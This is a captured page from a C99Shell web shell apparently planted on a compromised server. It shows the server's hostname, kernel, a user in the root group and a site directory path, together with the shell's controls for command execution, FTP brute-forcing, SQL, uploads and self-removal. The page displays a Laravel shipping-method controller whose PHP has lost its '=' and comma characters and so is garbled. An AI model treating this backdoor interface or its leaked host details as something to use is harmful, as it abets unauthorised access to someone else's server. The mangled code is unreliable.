!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Shipping/Http/Controllers/Api/   drwxr-xr-x
Free 26.8 GB of 117.98 GB (22.72%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ShippingMethodController.php (2.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package ShippingMethodController
 * @author TechVillage <support@techvill.org>
 * @contributor Al Mamun <[almamun.techvill@gmail.com]>
 * @created 30-09-2021
 */

namespace Modules\Shipping\Http\Controllers\Api;

use 
App\Http\Controllers\Controller;
use 
Illuminate\Http\Request;
use 
Modules\Shipping\Entities\ShippingMethod;
use 
Modules\Shipping\Http\Resources\ShippingMethodResource;

class 
ShippingMethodController extends Controller
{
    
/**
     * Shipping Method List
     *
     * @param Request $request
     * @return json $data
     */
    
public function index(Request $request)
    {
        
$configs $this->initialize([], $request->all());
        
$shippingMethod ShippingMethod::select('id''name''status''description');

        
$keyword = isset($request->keyword) ? trim(xss_clean($request->keyword)) : null;
        if (!empty(
$keyword)) {
            if (
preg_match('/^[1-9]+[0-9]*$/'$keyword)) {
                
$shippingMethod->where(function ($query) use ($keyword) {
                    
$query->where('id'$keyword);
                });
            } else if (
strlen($keyword) >= 2) {
                
$shippingMethod->where(function ($query) use ($keyword) {
                    
$query->where('name''LIKE''%' $keyword '%')
                            ->
orWhere('status''LIKE''%' $keyword '%')
                            ->
orWhere('description''LIKE''%' $keyword '%');
                });
            }
        }
        return 
$this->response([
            
'data' => ShippingMethodResource::collection($shippingMethod->paginate($configs['rows_per_page'])),
            
'pagination' => $this->toArray($shippingMethod->paginate($configs['rows_per_page'])->appends($request->all()))
        ]);
    }

    
/**
     * Detail Shipping Method
     *
     * @param int $id
     * @return json $response
     */
    
public function detail($id)
    {
        
$response $this->checkExistence($id'shipping_methods');
        
$data ShippingMethod::getAll()->where('id'$id)->first();
        if (
$response['status'] === true && !empty($data)) {
            return 
$this->response(['data' => new ShippingMethodResource($data)]);
        }
        return 
$this->errorResponse($response);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--